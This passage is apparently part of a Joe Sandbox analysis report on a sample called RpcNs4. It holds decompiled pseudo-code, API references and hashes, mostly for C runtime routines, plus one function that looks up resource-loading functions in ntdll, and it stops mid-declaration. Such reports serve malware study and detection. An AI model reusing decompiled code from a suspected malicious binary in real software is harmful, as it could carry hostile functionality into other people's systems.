					if( *((intOrPtr*)(_t31 + 4)) != 0) {
						asm("lock xadd [ecx], eax");
						if((_t12 | 0xffffffff) == 0 &&  *((intOrPtr*)(_t31 + 4)) != 0x435570) {
							E00402CB3( *((intOrPtr*)(_t31 + 4)));
						}
					}
					 *(_t32 - 4) = 0xfffffffe;
					E00413ABB();
					if( *_t31 != 0) {
						E00406D5B(0xc);
						 *(_t32 - 4) = 1;
						E0040E7B6( *_t31);
						_t16 =  *_t31;
						if(_t16 != 0 &&  *_t16 == 0 && _t16 != 0x4359f8) {
							E0040E65C(_t16);
						}
						 *(_t32 - 4) = 0xfffffffe;
						E00413AC7();
					}
					_t10 = E00402CB3(_t31);
				}
				return E00406875(_t10);
			}

0x00413a19
0x00413a1b
0x00413a20
0x00413a25
0x00413a2a
0x00413a32
0x00413a38
0x00413a41
0x00413a46
0x00413a4a
0x00413a58
0x00413a5d
0x00413a4a
0x00413a5e
0x00413a65
0x00413a6d
0x00413a71
0x00413a77
0x00413a80
0x00413a86
0x00413a8a
0x00413a99
0x00413a9e
0x00413a9f
0x00413aa6
0x00413aa6
0x00413aac
0x00413ab1
0x00413ab7

APIs

__lock.LIBCMT ref: 00413A32

Part of subcall function 00406D5B: __mtinitlocknum.LIBCMT ref: 00406D6D
Part of subcall function 00406D5B: __amsg_exit.LIBCMT ref: 00406D79
Part of subcall function 00406D5B: EnterCriticalSection.KERNEL32(00000000,?,004042F4,0000000D), ref: 00406D86

_free.LIBCMT ref: 00413A58

Part of subcall function 00402CB3: HeapFree.KERNEL32(00000000,00000000,?,00406DD2,00000000,?,?,00404371,00402B70,00434230,00000014), ref: 00402CC7
Part of subcall function 00402CB3: GetLastError.KERNEL32(xuC,?,00406DD2,00000000,?,?,00404371,00402B70,00434230,00000014), ref: 00402CD9

__lock.LIBCMT ref: 00413A71
___removelocaleref.LIBCMT ref: 00413A80
___freetlocinfo.LIBCMT ref: 00413A99
_free.LIBCMT ref: 00413AAC

Strings

pUC, xrefs: 00413A4C

Memory Dump Source

Source File: 00000002.00000002.256448974.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.256423838.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.256635443.000000000042C000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.256647032.0000000000435000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.256660274.0000000000439000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.256692564.000000000044E000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RpcNs4.jbxd

Similarity

API ID: __lock_free$CriticalEnterErrorFreeHeapLastSection___freetlocinfo___removelocaleref__amsg_exit__mtinitlocknum
String ID: pUC
API String ID: 626533743-2208893049
Opcode ID: c2db22ab7447c57abcc7cacf5659124182d64d1af5b66121e739107cc329366f
Instruction ID: c3db13d6e87042e8d3d9c327ba538853f5f3e6b802cb2b63995fb45b47053acf
Opcode Fuzzy Hash: c2db22ab7447c57abcc7cacf5659124182d64d1af5b66121e739107cc329366f
Instruction Fuzzy Hash: AB01A131501700AADB34AF669506B9E73A05F0076AF20866FE4E9762D1CB7D9AC1C68D

Uniqueness

Uniqueness Score: -1.00%

Function 004030AC, Relevance: 10.6, APIs: 7, Instructions: 84
COMMON

Download Yara Rule

C-Code - Quality: 71%

			E004030AC(void* __ebx, void* __edx, void* __edi, void* __esi, void* __eflags) {
				intOrPtr _t21;
				intOrPtr _t27;
				intOrPtr _t28;
				intOrPtr _t36;
				intOrPtr _t44;
				void* _t45;
				intOrPtr* _t47;
				intOrPtr _t49;
				void* _t51;
				void* _t53;

				_t45 = __edx;
				_push(0xc);
				_push(0x434250);
				E00406830(__ebx, __edi, __esi);
				_t49 =  *((intOrPtr*)(_t53 + 8));
				if( *((intOrPtr*)(_t49 + 4)) != 0) {
					L15:
					_t21 =  *((intOrPtr*)(_t49 + 4));
				} else {
					_push(0x2800);
					_push(E00402CB3);
					_push(E004025D7);
					_push(0);
					_t21 = _t49 + 9;
					_push(_t21);
					_push(0);
					"jdh EC"();
					_t36 = _t21;
					if(_t36 != 0) {
						_t51 = E00406CD0(_t36);
						while(_t51 != 0) {
							_t51 = _t51 - 1;
							if( *((char*)(_t51 + _t36)) == 0x20) {
								 *((char*)(_t51 + _t36)) = 0;
								continue;
							}
							L7:
							E00406D5B(0xe);
							 *(_t53 - 4) =  *(_t53 - 4) & 0x00000000;
							if( *((intOrPtr*)(_t49 + 4)) == 0) {
								_t27 = E004025D7(_t36, _t45, _t49, 8);
								 *((intOrPtr*)(_t53 - 0x1c)) = _t27;
								if(_t27 != 0) {
									_t52 = _t51 + 2;
									_t28 = E004025D7(_t36, _t45, _t49, _t51 + 2);
									 *((intOrPtr*)(_t49 + 4)) = _t28;
									if(_t28 == 0) {
										L13:
										E00402CB3( *((intOrPtr*)(_t53 - 0x1c)));
									} else {
										if(E00406C6E(_t28, _t52, _t36) != 0) {
											_push(0);
											_push(0);
											_push(0);
											_push(0);
											_push(0);
											E00406C1E(_t36, _t45);
											goto L13;
										} else {
											_t47 =  *((intOrPtr*)(_t53 - 0x1c));
											 *_t47 =  *((intOrPtr*)(_t49 + 4));
											_t44 =  *((intOrPtr*)(_t53 + 0xc));
											 *((intOrPtr*)(_t47 + 4)) =  *((intOrPtr*)(_t44 + 4));
											 *((intOrPtr*)(_t44 + 4)) = _t47;
										}
									}
								}
							}
							E00402CB3(_t36);
							 *(_t53 - 4) = 0xfffffffe;
							E00403194();
							goto L15;
						}
						_t51 = _t51 - 1;
						goto L7;
					}
				}
				return E00406875(_t21);
			}

0x004030ac
0x004030ac
0x004030ae
0x004030b3
0x004030b8
0x004030c0
0x00403188
0x00403188
0x004030c6
0x004030c6
0x004030cb
0x004030d0
0x004030d5
0x004030d6
0x004030d9
0x004030da
0x004030db
0x004030e3
0x004030e7
0x004030f4
0x00403103
0x004030f8
0x004030fd
0x004030ff
0x00000000
0x004030ff
0x00403108
0x0040310a
0x00403110
0x00403118
0x0040311c
0x00403122
0x00403127
0x00403129
0x0040312d
0x00403133
0x00403138
0x0040316b
0x0040316f
0x0040313a
0x00403147
0x00403161
0x00403162
0x00403163
0x00403164
0x00403165
0x00403166
0x00000000
0x00403149
0x0040314c
0x0040314f
0x00403151
0x00403157
0x0040315a
0x0040315a
0x00403147
0x00403138
0x00403127
0x00403176
0x0040317c
0x00403183
0x00000000
0x00403183
0x00403107
0x00000000
0x00403107
0x004030e7
0x00403190

APIs

___unDName.LIBCMT ref: 004030DB
_strlen.LIBCMT ref: 004030EE
__lock.LIBCMT ref: 0040310A
_malloc.LIBCMT ref: 0040311C
_malloc.LIBCMT ref: 0040312D
_free.LIBCMT ref: 00403176

Part of subcall function 00406C1E: IsProcessorFeaturePresent.KERNEL32(00000017,00406BF2,00000000,?,?,?,?,?,00406BFF,00000000,00000000,00000000,00000000,00000000,00405FFC), ref: 00406C20

_free.LIBCMT ref: 0040316F

Part of subcall function 00402CB3: HeapFree.KERNEL32(00000000,00000000,?,00406DD2,00000000,?,?,00404371,00402B70,00434230,00000014), ref: 00402CC7
Part of subcall function 00402CB3: GetLastError.KERNEL32(xuC,?,00406DD2,00000000,?,?,00404371,00402B70,00434230,00000014), ref: 00402CD9

Memory Dump Source

Source File: 00000002.00000002.256448974.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.256423838.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.256635443.000000000042C000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.256647032.0000000000435000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.256660274.0000000000439000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.256692564.000000000044E000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RpcNs4.jbxd

Similarity

API ID: _free_malloc$ErrorFeatureFreeHeapLastNamePresentProcessor___un__lock_strlen
String ID:
API String ID: 3704956918-0
Opcode ID: 4982373046e5d6618406c5f35a984e0497dfac13016beb111cc1953250947740
Instruction ID: c0db6f7d0662a5cb01ac585c96d5be62debaf1bba68ce3c52ba4cfbe577086f4
Opcode Fuzzy Hash: 4982373046e5d6618406c5f35a984e0497dfac13016beb111cc1953250947740
Instruction Fuzzy Hash: 7C21F771904601BAD711AF358D46B6BBA98AF09315F10813FB819BB2C1DB7CDA41C69C

Uniqueness

Uniqueness Score: -1.00%

Function 0040435E, Relevance: 10.5, APIs: 7, Instructions: 45
threadCOMMON

Download Yara Rule

C-Code - Quality: 91%

			E0040435E(void* __ebx, void* __edi, void* __eflags) {
				void* __esi;
				void* _t3;
				intOrPtr _t6;
				long _t14;
				long* _t27;

				E00403B79(_t3);
				if(E00406EAC() != 0) {
					_t6 = E004062A5(E004040B9);
					 *0x4351c0 = _t6;
					__eflags = _t6 - 0xffffffff;
					if(_t6 == 0xffffffff) {
						goto L1;
					} else {
						_t27 = E0040CFF1(1, 0x3bc);
						__eflags = _t27;
						if(_t27 == 0) {
							L6:
							E004043D4();
							__eflags = 0;
							return 0;
						} else {
							__eflags = E00406301( *0x4351c0, _t27);
							if(__eflags == 0) {
								goto L6;
							} else {
								_push(0);
								_push(_t27);
								E004042AB(__ebx, __edi, _t27, __eflags);
								_t14 = GetCurrentThreadId();
								_t27[1] = _t27[1] | 0xffffffff;
								 *_t27 = _t14;
								__eflags = 1;
								return 1;
							}
						}
					}
				} else {
					L1:
					E004043D4();
					return 0;
				}
			}

0x0040435e
0x0040436a
0x00404379
0x0040437e
0x00404384
0x00404387
0x00000000
0x00404389
0x00404396
0x0040439a
0x0040439c
0x004043cb
0x004043cb
0x004043d0
0x004043d3
0x0040439e
0x004043ac
0x004043ae
0x00000000
0x004043b0
0x004043b0
0x004043b2
0x004043b3
0x004043ba
0x004043c0
0x004043c4
0x004043c8
0x004043ca
0x004043ca
0x004043ae
0x0040439c
0x0040436c
0x0040436c
0x0040436c
0x00404373
0x00404373

APIs

__init_pointers.LIBCMT ref: 0040435E

Part of subcall function 00403B79: RtlEncodePointer.NTDLL(00000000,?,00404363,00402B70,00434230,00000014), ref: 00403B7C
Part of subcall function 00403B79: __initp_misc_winsig.LIBCMT ref: 00403B97
Part of subcall function 00403B79: GetModuleHandleW.KERNEL32(kernel32.dll), ref: 00406461
Part of subcall function 00403B79: GetProcAddress.KERNEL32(00000000,FlsAlloc), ref: 00406475
Part of subcall function 00403B79: GetProcAddress.KERNEL32(00000000,FlsFree), ref: 00406488
Part of subcall function 00403B79: GetProcAddress.KERNEL32(00000000,FlsGetValue), ref: 0040649B
Part of subcall function 00403B79: GetProcAddress.KERNEL32(00000000,FlsSetValue), ref: 004064AE
Part of subcall function 00403B79: GetProcAddress.KERNEL32(00000000,InitializeCriticalSectionEx), ref: 004064C1
Part of subcall function 00403B79: GetProcAddress.KERNEL32(00000000,CreateEventExW), ref: 004064D4
Part of subcall function 00403B79: GetProcAddress.KERNEL32(00000000,CreateSemaphoreExW), ref: 004064E7
Part of subcall function 00403B79: GetProcAddress.KERNEL32(00000000,SetThreadStackGuarantee), ref: 004064FA
Part of subcall function 00403B79: GetProcAddress.KERNEL32(00000000,CreateThreadpoolTimer), ref: 0040650D
Part of subcall function 00403B79: GetProcAddress.KERNEL32(00000000,SetThreadpoolTimer), ref: 00406520
Part of subcall function 00403B79: GetProcAddress.KERNEL32(00000000,WaitForThreadpoolTimerCallbacks), ref: 00406533
Part of subcall function 00403B79: GetProcAddress.KERNEL32(00000000,CloseThreadpoolTimer), ref: 00406546
Part of subcall function 00403B79: GetProcAddress.KERNEL32(00000000,CreateThreadpoolWait), ref: 00406559
Part of subcall function 00403B79: GetProcAddress.KERNEL32(00000000,SetThreadpoolWait), ref: 0040656C
Part of subcall function 00403B79: GetProcAddress.KERNEL32(00000000,CloseThreadpoolWait), ref: 0040657F

__mtinitlocks.LIBCMT ref: 00404363
__mtterm.LIBCMT ref: 0040436C

Part of subcall function 004043D4: DeleteCriticalSection.KERNEL32(00000000,00000000,?,?,00404371,00402B70,00434230,00000014), ref: 00406DC6
Part of subcall function 004043D4: _free.LIBCMT ref: 00406DCD
Part of subcall function 004043D4: DeleteCriticalSection.KERNEL32(xuC,?,?,00404371,00402B70,00434230,00000014), ref: 00406DEF

__calloc_crt.LIBCMT ref: 00404391
__initptd.LIBCMT ref: 004043B3
GetCurrentThreadId.KERNEL32 ref: 004043BA

Memory Dump Source

Source File: 00000002.00000002.256448974.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.256423838.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.256635443.000000000042C000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.256647032.0000000000435000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.256660274.0000000000439000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.256692564.000000000044E000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RpcNs4.jbxd

Similarity

API ID: AddressProc$CriticalDeleteSection$CurrentEncodeHandleModulePointerThread__calloc_crt__init_pointers__initp_misc_winsig__initptd__mtinitlocks__mtterm_free
String ID:
API String ID: 3567560977-0
Opcode ID: 3339dd92b905196a4c42f06426374c0a1ac13dbf5bf5d1ed4aba601c44fe22ee
Instruction ID: ff0ecafb33dab0f9688af2411afeda57b66d43e85835077dd4caad25b267e939
Opcode Fuzzy Hash: 3339dd92b905196a4c42f06426374c0a1ac13dbf5bf5d1ed4aba601c44fe22ee
Instruction Fuzzy Hash: C7F0F6B22187121AE62437767C0374B3A90EF80738B20263FFA90F41D2EF7D9411425C

Uniqueness

Uniqueness Score: -1.00%

Function 00401BA0, Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 65libraryloaderCOMMON

Download Yara Rule

APIs

GetProcAddress.KERNEL32(00000000,LdrFindResource_U), ref: 00401BF4
GetProcAddress.KERNEL32(00000000,LdrAccessResource), ref: 00401BFE

Strings

LdrFindResource_U, xrefs: 00401BEE
ntdll.dll, xrefs: 00401BC8
LdrAccessResource, xrefs: 00401BF6

Memory Dump Source

Source File: 00000002.00000002.256448974.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.256423838.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.256635443.000000000042C000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.256647032.0000000000435000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.256660274.0000000000439000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.256692564.000000000044E000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RpcNs4.jbxd

Similarity

API ID: AddressProc
String ID: LdrAccessResource$LdrFindResource_U$ntdll.dll
API String ID: 190572456-309990276
Opcode ID: 374ed4848605be23ddd654ab2968cb408ecf5167f409eae68abec4d7f6b343ea
Instruction ID: 0be7b2e87ea625e9e257cfe7c5ec55fbb677ed6b4a9053280dbe75720fce2a0f
Opcode Fuzzy Hash: 374ed4848605be23ddd654ab2968cb408ecf5167f409eae68abec4d7f6b343ea
Instruction Fuzzy Hash: 2111CE71A4021DABDB00DFE9D981BAFBBF8AF08714F50406BE904F7280D67999058BA5

Uniqueness

Uniqueness Score: -1.00%

Function 0040DCE3, Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 49
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 85%

			E0040DCE3(void* __ebx, void* __edx, void* __edi, void* __esi, void* __eflags) {
				signed int _t15;
				signed int _t20;
				signed int _t26;
				void* _t30;
				void* _t32;
				signed int _t35;
				void* _t36;

				_t30 = __edx;
				_t25 = __ebx;
				_push(0xc);
				_push(0x434600);
				E00406830(__ebx, __edi, __esi);
				 *(_t36 - 0x1c) = 0;
				_t32 = E00404224();
				_t26 =  *0x435d60; // 0xfffffffe
				if(( *(_t32 + 0x70) & _t26) == 0 ||  *((intOrPtr*)(_t32 + 0x6c)) == 0) {
					_t15 = E00406D5B(0xd);
					 *((intOrPtr*)(_t36 - 4)) = 0;
					_t35 =  *(_t32 + 0x68);
					 *(_t36 - 0x1c) = _t35;
					__eflags = _t35 -  *0x435794; // 0x626c30
					if(__eflags != 0) {
						__eflags = _t35;
						if(__eflags != 0) {
							__eflags = _t15 | 0xffffffff;
							asm("lock xadd [esi], eax");
							if(__eflags == 0) {
								__eflags = _t35 - 0x435570;
								if(__eflags != 0) {
									E00402CB3(_t35);
								}
							}
						}
						_t20 =  *0x435794; // 0x626c30
						 *(_t32 + 0x68) = _t20;
						_t35 =  *0x435794; // 0x626c30
						 *(_t36 - 0x1c) = _t35;
						asm("lock xadd [esi], eax");
					}
					 *((intOrPtr*)(_t36 - 4)) = 0xfffffffe;
					E0040DD80();
				} else {
					_t35 =  *(_t32 + 0x68);
				}
				_t40 = _t35;
				if(_t35 == 0) {
					E00403A3B(_t25, _t30, _t32, _t35, _t40, 0x20);
				}
				return E00406875(_t35);
			}

0x0040dce3
0x0040dce3
0x0040dce3
0x0040dce5
0x0040dcea
0x0040dcf1
0x0040dcf9
0x0040dcfb
0x0040dd04
0x0040dd24
0x0040dd2a
0x0040dd2d
0x0040dd30
0x0040dd33
0x0040dd39
0x0040dd3b
0x0040dd3d
0x0040dd3f
0x0040dd42
0x0040dd46
0x0040dd48
0x0040dd4e
0x0040dd51
0x0040dd56
0x0040dd4e
0x0040dd46
0x0040dd57
0x0040dd5c
0x0040dd5f
0x0040dd65
0x0040dd6b
0x0040dd6b
0x0040dd6f
0x0040dd76
0x0040dd0b
0x0040dd0b
0x0040dd0b
0x0040dd0e
0x0040dd10
0x0040dd14
0x0040dd19
0x0040dd21

APIs

Part of subcall function 00404224: __getptd_noexit.LIBCMT ref: 00404225
Part of subcall function 00404224: __amsg_exit.LIBCMT ref: 00404232

__amsg_exit.LIBCMT ref: 0040DD14
__lock.LIBCMT ref: 0040DD24
_free.LIBCMT ref: 0040DD51

Strings

pUC, xrefs: 0040DD48
0lb, xrefs: 0040DD57, 0040DD5F

Memory Dump Source

Source File: 00000002.00000002.256448974.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.256423838.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.256635443.000000000042C000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.256647032.0000000000435000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.256660274.0000000000439000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.256692564.000000000044E000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RpcNs4.jbxd

Similarity

API ID: __amsg_exit$__getptd_noexit__lock_free
String ID: 0lb$pUC
API String ID: 3054295789-4201871394
Opcode ID: 4c84405c307965613a111f208fc7c825eb10043995980390d3693b8e5dccc630
Instruction ID: f7bd0d1cb375b59fdf65ca27020606fa41fe1823a4a118f136f2b5f5d8d1c8b0
Opcode Fuzzy Hash: 4c84405c307965613a111f208fc7c825eb10043995980390d3693b8e5dccc630
Instruction Fuzzy Hash: D8118E32D01A21ABDB21AFA9A40125AB7A0BF04B20F15413FF854B72D0C7386946CFCD

Uniqueness

Uniqueness Score: -1.00%

Function 004047D4, Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 48
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 23%

			E004047D4(void* __ebx, void* __esi, char _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16, intOrPtr _a20, intOrPtr _a24, intOrPtr _a28, intOrPtr* _a32, intOrPtr _a36, intOrPtr _a40) {
				void* __edi;
				void* __ebp;
				void* _t25;
				void* _t28;
				intOrPtr _t29;
				void* _t30;
				intOrPtr* _t31;
				void* _t33;

				_t30 = __esi;
				_t27 = __ebx;
				_t35 = _a28;
				_t29 = _a8;
				if(_a28 != 0) {
					_push(_a28);
					_push(_a24);
					_push(_t29);
					_t5 =  &_a4; // 0x404c38
					_push( *_t5);
					E00404EE0(__ebx, _t29, __esi, _t35);
					_t33 = _t33 + 0x10;
				}
				_t36 = _a40;
				_t7 =  &_a4; // 0x404c38
				_push( *_t7);
				if(_a40 != 0) {
					_push(_a40);
				} else {
					_push(_t29);
				}
				E00402935(_t28);
				_push(_t30);
				_t31 = _a32;
				_push( *_t31);
				_push(_a20);
				_push(_a16);
				_push(_t29);
				E0040551F(_t27, _t31, _t36);
				_push(0x100);
				_push(_a36);
				 *((intOrPtr*)(_t29 + 8)) =  *((intOrPtr*)(_t31 + 4)) + 1;
				_push( *((intOrPtr*)(_a24 + 0xc)));
				_push(_a20);
				_push(_a12);
				_push(_t29);
				_push(_a4);
				_t25 = E004045CE(_t27, _t29, _t31, _t36);
				if(_t25 != 0) {
					E00402903(_t25, _t29);
					return _t25;
				}
				return _t25;
			}

0x004047d4
0x004047d4
0x004047d7
0x004047dc
0x004047df
0x004047e1
0x004047e4
0x004047e7
0x004047e8
0x004047e8
0x004047eb
0x004047f0
0x004047f0
0x004047f3
0x004047f7
0x004047f7
0x004047fa
0x004047ff
0x004047fc
0x004047fc
0x004047fc
0x00404802
0x00404807
0x00404808
0x0040480b
0x0040480d
0x00404810
0x00404813
0x00404814
0x0040481d
0x00404822
0x00404825
0x0040482b
0x0040482e
0x00404831
0x00404834
0x00404835
0x00404838
0x00404843
0x00404847
0x00000000
0x00404847
0x0040484e

APIs

___BuildCatchObject.LIBCMT ref: 004047EB

Part of subcall function 00404EE0: ___AdjustPointer.LIBCMT ref: 00404F29

_UnwindNestedFrames.LIBCMT ref: 00404802
___FrameUnwindToState.LIBCMT ref: 00404814
CallCatchBlock.LIBCMT ref: 00404838

Strings

8L@, xrefs: 004047F7, 004047E8

Memory Dump Source

Source File: 00000002.00000002.256448974.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.256423838.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.256635443.000000000042C000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.256647032.0000000000435000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.256660274.0000000000439000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.256692564.000000000044E000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RpcNs4.jbxd

Similarity

API ID: CatchUnwind$AdjustBlockBuildCallFrameFramesNestedObjectPointerState
String ID: 8L@
API String ID: 2633735394-4280888483
Opcode ID: de3a390995e930c270733da9eb8ff1fb1c933b5d220bcc45bc1d3bfe70562cc1
Instruction ID: 7addfb298fc54b3c6c01c9a40d77cef2251b0c5da60657127e47733218de6bb0
Opcode Fuzzy Hash: de3a390995e930c270733da9eb8ff1fb1c933b5d220bcc45bc1d3bfe70562cc1
Instruction Fuzzy Hash: 28012D72000109BBCF126F55DC05EDB3BBAFF89754F15802AFA1872161C779E861EBA8

Uniqueness

Uniqueness Score: -1.00%

Function 00401B00, Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 31
windowregistryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00401B00(struct HINSTANCE__* _a4) {
				struct _WNDCLASSEXA _v52;
				struct HINSTANCE__* _t16;

				_t16 = _a4;
				_v52.cbSize = 0x30;
				_v52.style = 3;
				_v52.lpfnWndProc = 0x401046;
				_v52.cbClsExtra = 0;
				_v52.cbWndExtra = 0;
				_v52.hInstance = _t16;
				_v52.hIcon = LoadIconA(_t16, 0x6b);
				_v52.hCursor = LoadCursorA(0, 0x7f00);
				_v52.hbrBackground = 6;
				_v52.lpszMenuName = 0;
				_v52.lpszClassName = 0x4368b0;
				_v52.hIconSm = LoadIconA(_v52.hInstance, 0x6c);
				return RegisterClassExA( &_v52);
			}

0x00401b06
0x00401b0c
0x00401b13
0x00401b1a
0x00401b21
0x00401b28
0x00401b2f
0x00401b3f
0x00401b4d
0x00401b50
0x00401b57
0x00401b5e
0x00401b6b
0x00401b7b

APIs

LoadIconA.USER32(?,0000006B), ref: 00401B32
LoadCursorA.USER32 ref: 00401B42
LoadIconA.USER32(?,0000006C), ref: 00401B65
RegisterClassExA.USER32(00000030), ref: 00401B72

Strings

0, xrefs: 00401B0C

Memory Dump Source

Source File: 00000002.00000002.256448974.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.256423838.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.256635443.000000000042C000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.256647032.0000000000435000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.256660274.0000000000439000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.256692564.000000000044E000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RpcNs4.jbxd

Similarity

API ID: Load$Icon$ClassCursorRegister
String ID: 0
API String ID: 4202395251-4108050209
Opcode ID: a71c3b1cb4ff5c24059766a0e8a90010ee43dc88a63ad91dff96757c0ac73305
Instruction ID: ac0e75dba2af3176d702dc32e44df3b044374c7e21e17c4da143abcc9c03fe3b
Opcode Fuzzy Hash: a71c3b1cb4ff5c24059766a0e8a90010ee43dc88a63ad91dff96757c0ac73305
Instruction Fuzzy Hash: 3101BBB0C40209ABEF009FE0D95D79EBFB8BB08304F108559E515BA290D7BA46148F98

Uniqueness

Uniqueness Score: -1.00%

Function 0040F8E6, Relevance: 7.6, APIs: 5, Instructions: 67
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 95%

			E0040F8E6(void* __ebx, void* __edx, void* __edi, void* _a4, long _a8) {
				void* _t7;
				void* _t8;
				intOrPtr* _t9;
				intOrPtr* _t12;
				void* _t20;
				long _t31;

				if(_a4 != 0) {
					_t31 = _a8;
					if(_t31 != 0) {
						_push(__ebx);
						while(_t31 <= 0xffffffe0) {
							if(_t31 == 0) {
								_t31 = _t31 + 1;
							}
							_t7 = HeapReAlloc( *0x43735c, 0, _a4, _t31);
							_t20 = _t7;
							if(_t20 != 0) {
								L17:
								_t8 = _t20;
							} else {
								if( *0x437358 == _t7) {
									_t9 = E00403FAC();
									 *_t9 = E00404005(GetLastError());
									goto L17;
								} else {
									if(E004036E7(_t7, _t31) == 0) {
										_t12 = E00403FAC();
										 *_t12 = E00404005(GetLastError());
										L12:
										_t8 = 0;
									} else {
										continue;
									}
								}
							}
							goto L14;
						}
						E004036E7(_t6, _t31);
						 *((intOrPtr*)(E00403FAC())) = 0xc;
						goto L12;
					} else {
						E00402CB3(_a4);
						_t8 = 0;
					}
					L14:
					return _t8;
				} else {
					return E004025D7(__ebx, __edx, __edi, _a8);
				}
			}

0x0040f8ed
0x0040f8fb
0x0040f900
0x0040f90f
0x0040f942
0x0040f914
0x0040f916
0x0040f916
0x0040f923
0x0040f929
0x0040f92d
0x0040f98d
0x0040f98d
0x0040f92f
0x0040f935
0x0040f977
0x0040f98b
0x00000000
0x0040f937
0x0040f940
0x0040f95f
0x0040f973
0x0040f959
0x0040f959
0x00000000
0x00000000
0x00000000
0x0040f940
0x0040f935
0x00000000
0x0040f95b
0x0040f948
0x0040f953
0x00000000
0x0040f902
0x0040f905
0x0040f90b
0x0040f90b
0x0040f95c
0x0040f95e
0x0040f8ef
0x0040f8f9
0x0040f8f9

APIs

_malloc.LIBCMT ref: 0040F8F2

Part of subcall function 004025D7: __FF_MSGBANNER.LIBCMT ref: 004025EE
Part of subcall function 004025D7: __NMSG_WRITE.LIBCMT ref: 004025F5
Part of subcall function 004025D7: RtlAllocateHeap.NTDLL(00610000,00000000,00000001,00000000,00000000,00000000,?,0040D04F,00000000,00000000,00000000,00000000,?,00406E45,00000018,00434500), ref: 0040261A

_free.LIBCMT ref: 0040F905

Memory Dump Source

Source File: 00000002.00000002.256448974.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.256423838.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.256635443.000000000042C000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.256647032.0000000000435000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.256660274.0000000000439000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.256692564.000000000044E000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RpcNs4.jbxd

Similarity

API ID: AllocateHeap_free_malloc
String ID:
API String ID: 1020059152-0
Opcode ID: 7a0ca71ea7ed07806f718cd88403afa96b90f780b46ebdba71b186e10baf8954
Instruction ID: 7eca6f38aeb7a3005b5944069fb91ed30c7bffdeea9973184b42a437568cbb77
Opcode Fuzzy Hash: 7a0ca71ea7ed07806f718cd88403afa96b90f780b46ebdba71b186e10baf8954
Instruction Fuzzy Hash: E011E7B2804612BBCF313F71AC0475A3BA8AF44368F20443BF945B66D1DB3D8D44969C

Uniqueness

Uniqueness Score: -1.00%

Function 020B12B0, Relevance: 7.4, APIs: 1, Strings: 3, Instructions: 373
COMMON

Download Yara Rule

C-Code - Quality: 78%

			E020B12B0(char __ecx, signed int __edx, intOrPtr* _a4) {
				char _v2048;
				char _v2560;
				char _v2688;
				char _v2816;
				intOrPtr _v2820;
				intOrPtr _v2824;
				char _v2828;
				char _v2836;
				char _v2844;
				intOrPtr _v2848;
				char _v2852;
				intOrPtr _v2856;
				char _v2860;
				intOrPtr _v2864;
				char _v2868;
				intOrPtr* _v2872;
				signed int _v2876;
				signed int _v2880;
				char _v2884;
				signed int _v2888;
				signed int _v2892;
				intOrPtr* _v2896;
